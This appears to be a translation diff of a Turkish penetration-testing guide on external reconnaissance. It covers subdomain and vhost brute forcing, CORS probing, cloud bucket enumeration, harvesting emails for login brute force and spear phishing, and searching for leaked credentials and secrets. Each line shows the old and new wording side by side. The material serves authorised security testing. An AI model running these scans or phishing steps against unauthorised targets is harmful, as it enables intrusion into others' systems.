* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -349,11 +349,11 @@ Bu işlem için şu gibi **ortak alt alan adı kelime listelerine** ihtiyacını
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Ayrıca iyi DNS çözücülerin IP'leri de gereklidir. Güvenilir DNS çözücüler listesi oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözücüleri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) adresini kullanabilirsiniz. Ve ayrıca iyi DNS çözücülerin IP'leri. Güvenilir DNS çözücülerinin bir listesini oluşturmak için çözücüleri [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şu adresten yararlanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS kaba kuvvet saldırıları için en çok önerilen araçlar: DNS kaba kuvvet için en çok önerilen araçlar:
* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere duyarlıdır. * [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtı. Çok hızlı olmasına rağmen yanlış pozitiflere duyarlıdır.
```bash ```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -363,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker karakterleri işleyerek alt alan adlarını çözmenize olanak tanıyan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır ve kolay giriş-çıkış desteği sağlar. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker işareti işleme ve kolay giriş-çıkış desteği ile alt alan adlarını çözmenize olanak tanıyan go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -377,18 +377,18 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### İkinci DNS Kaba Kuvvet Turu ### İkinci DNS Kaba Kuvvet Turu
ık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarından sonra, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır: ık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarını kullanarak, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verilerek permutasyonlar oluşturur. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. * [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
* goaltdns permutasyonlarını **wordlist**'i [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. * goaltdns permutasyonlarını [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır. * [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Eğer permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır.
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
@ -398,28 +398,28 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): Alt alan adlarının permutasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu kaba kuvvet uygulayacaktır (dns joker karakterini desteklemez). * [**dmut**](https://github.com/bp0lr/dmut): Alt alan adlarının permutasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu kaba kuvvet uygulayacaktır (dns joker karakterini desteklemez).
* dmut permutasyon kelime listesine [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) ulaşabilirsiniz. * dmut permutasyon kelime listesini [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) alabilirsiniz.
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak yeni potansiyel alt alan adı adları oluşturur. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak **yeni potansiyel alt alan adı adları oluşturur**.
#### Akıllı permütasyon oluşturma #### Akıllı permütasyon oluşturma
* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır. * [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temel olarak **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile leştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır. * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak, daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır.
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **Alt Alan Adı Keşfi İş Akışı** ### **Alt Alan Adı Keşfi İş Akışı**
Bu blog yazımı kontrol et, alan adından **alt alan adlarını otomatik olarak keşfetmenin** nasıl yapıldığı hakkında. Böylece bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmaz: Bu blog yazımı kontrol et, burada bir alan adından **alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığına dair **Trickest iş akışları** kullanarak bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmayacak:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -435,7 +435,7 @@ Bazı **VHost'ları IP'lerde bulabilirsiniz** [**HostHunter**](https://github.co
**Brute Force** **Brute Force**
Eğer bir alt alan adının bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile deneyebilirsiniz: Eğer bir alt alan adının bir web sunucusunda gizli olabileceğini düşünüyorsanız, bunu brute force ile deneyebilirsiniz:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -453,35 +453,35 @@ VHostScan -t example.com
Bu teknikle, hatta dahili/gizli uç noktalara erişebilme olasılığınız olabilir. Bu teknikle, hatta dahili/gizli uç noktalara erişebilme olasılığınız olabilir.
{% endhint %} {% endhint %}
### **CORS Brute Force** ### **CORS Kaba Kuvvet**
Bazı durumlarda, yalnızca geçerli bir alan/alt alan adı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alan adlarını keşfedebilirsiniz**. Bazen, yalnızca geçerli bir alan/alt alan belirtildiğinde _**Origin**_ başlığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alanlar** **keşfedebilirsiniz**.
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
### **Kovalama Yöntemleri** ### **Kovalama Yöntemleri**
**Alt alan adları** ararken, herhangi bir türde **bucket'a işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ **Alt alan adları** ararken, herhangi bir **kova**'ya **işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**mümkün olan bucket adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**muhtemel kova adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
### **İzleme** ### **İzleme**
Bir alan adının **yeni alt alan adları** oluşturulup oluşturulmadığını izleyerek **izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tarafından yapılır. Bir alan adının **yeni alt alan adlarının** oluşturulup oluşturulmadığını **izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) ile izleyerek.
### **Zaafiyet Arayışı** ### **Zaafiyet Arayışı**
Mümkün [**alt alan adı ele geçirmelerini kontrol edin**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Mümkün [**alt alan adı ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
Eğer **alt alan adı** bir **S3 bucket'a işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). Eğer **alt alan adı** bir **S3 kovasına işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alt alan adı** bulursanız, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve bu kitapta onlara "saldırmak" için bazı ipuçları bulabilirsiniz.\ Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip **herhangi bir alt alan adı bulursanız**, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve **bu kitapta onlara "saldırmak" için bazı püf noktaları bulabilirsiniz**.\
_Not edin ki bazen alt alan adı, müşteri tarafından kontrol edilmeyen bir IP içinde barındırılmış olabilir, bu yüzden kapsamda olmayabilir, dikkatli olun._ _Not: Bazı durumlarda alt alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
## IP'ler ## IP'ler
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alan adları bulmuş olabilirsiniz**.\ Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alan adları bulmuş olabilirsiniz**.\
Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları)** toplama zamanı geldi. Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları)** toplama zamanı geldi.
Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak** ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir) Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir)
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
@ -489,7 +489,7 @@ Ayrıca, [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kulla
### **Zaafiyet Arayışı** ### **Zaafiyet Arayışı**
CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen orada ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**. CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**.
**Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.** **Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.**
@ -497,12 +497,12 @@ CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen orada il
> Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi. > Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi.
Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının keşfini zaten yapmış olabilirsiniz, bu yüzden muhtemelen **tüm olası web sunucuları** zaten bulmuş olabilirsiniz. Ancak, bulamadıysanız şimdi kapsam içindeki web sunucularını aramak için bazı **hızlı ipuçları** göreceğiz. Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının **keşfini zaten yapmış olabilirsiniz**, bu nedenle muhtemelen **tüm olası web sunucuları zaten bulmuş olabilirsiniz**. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için **hızlı ipuçları** göreceğiz.
Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu yüzden **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız. Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız.
**Web** sunucularıyla ilgili **ık portları keşfetmek için hızlı bir yöntem** [**burada masscan** bulunabilir](../pentesting-network/#http-port-discovery).\ [**masscan ile ilişkili ık portları keşfetmek için hızlı bir yöntem burada bulunabilir**](../pentesting-network/#http-port-discovery).\
Başka bir dost araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx). Sadece bir alan adları listesi geçirin ve 80 (http) ve 443 (https) bağlanmaya çalışacaktır. Ayrıca, diğer portları denemek için belirtebilirsiniz: Başka bir dostça araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx) bulunmaktadır. Bir alan adları listesi geçirirsiniz ve 80 (http) ve 443 (https) bağlanmaya çalışır. Ayrıca, diğer portları denemek için belirtebilirsiniz:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -511,9 +511,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **garip** uç noktalar bulabilir ve bunların daha **savunmasız** olma olasılığı daha yüksektir. Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **garip** uç noktalar bulabilir ve bunların daha **savunmasız** olma olasılığı daha yüksektir.
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** kullanabilirsiniz.** Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'ı** kullanabilirsiniz.
Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** tarayarak size **olası olarak zafiyet içerenleri** ve olmayanları söylemesini sağlayabilirsiniz. Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** çalıştırarak size **olası savunmasızlıklar içerdiğini** ve içermediğini söylemesini sağlayabilirsiniz.
## Genel Bulut Varlıkları ## Genel Bulut Varlıkları
@ -525,28 +525,28 @@ Ayrıca, **kova**larda kullanılan yaygın kelimelerin listelerine ihtiyacınız
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Daha sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) kontrol edin). Ardından, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round)'e bakın).
Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.
Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısınız**. Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısınız**.
### **Zafiyetler Aranıyor** ### **Savunmasızlıkları Arama**
**Açık kovalar veya açığa çıkarılan bulut işlevleri** gibi şeyler bulursanız, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz. **Açık kovalar veya açık bulut fonksiyonları gibi şeyler bulursanız**, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz.
## E-postalar ## E-postalar
Kapsamdaki **alan adları** ve **alt alan adları** ile temelde e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: Kapsamdaki **alan adları** ve **alt alan adları** ile temelde **e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için benim için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle * [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si * [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si
* [**https://app.snov.io/**](https://app.snov.io/) (ücretsiz sürüm) API'si * [**https://app.snov.io/**](https://app.snov.io/) (ücretsiz sürüm) API'si
* [**https://minelead.io/**](https://minelead.io/) (ücretsiz sürüm) API'si * [**https://minelead.io/**](https://minelead.io/) (ücretsiz sürüm) API'si
### **Zafiyetler Aranıyor** ### **Savunmasızlıkları Arama**
E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) kaba kuvvet saldırıları yapmak için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidirler. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır. E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) **kaba kuvvet uygulamak** için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidir. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır.
## Kimlik Bilgisi Sızıntıları ## Kimlik Bilgisi Sızıntıları
@ -555,39 +555,39 @@ E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (ö
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
### **Zafiyetler Aranıyor** ### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanç olacaktır. Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanç olacaktır.
## Sır Sızıntıları ## Sırların Sızıntıları
Kimlik bilgisi sızıntıları, şirketlerin **duyarlı bilgilerin sızdırıldığı ve satıldığı** hack'lerle ilgilidir. Ancak, şirketlerin o veritabanlarında olmayan başka sızıntılardan etkilenebileceğini unutmamalısınız: Kimlik bilgisi sızıntıları, **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirket hack'leri ile ilgilidir. Ancak, şirketler, o veritabanlarında olmayan başka sızıntılardan da etkilenebilir:
### Github Sızıntıları ### Github Sızıntıları
Kimlik bilgileri ve API'lar **şirketin** veya o github şirketinde çalışan **kullanıcıların** **genel depolarında** sızdırılmış olabilir.\ Kimlik bilgileri ve API'lar, **şirketin** veya **github şirketi tarafından çalışan kullanıcıların** **genel depolarında** sızdırılmış olabilir.\
[**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** otomatik olarak üzerlerinde [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** otomatik olarak üzerlerinde [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos** ayrıca bazen **web sayfalarının da sırlar içerdiği** için tüm **URL'leri** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. **Leakos**, bazen **web sayfaları da sırlar içerdiği için** onlara geçirilen **URL'leri çalıştırmak** için de kullanılabilir.
#### Github Dorks #### Github Dorks
Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olabilir.\ Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olacaktır.\
[**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz. [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz.
### Google Dorks ### Google Dorks
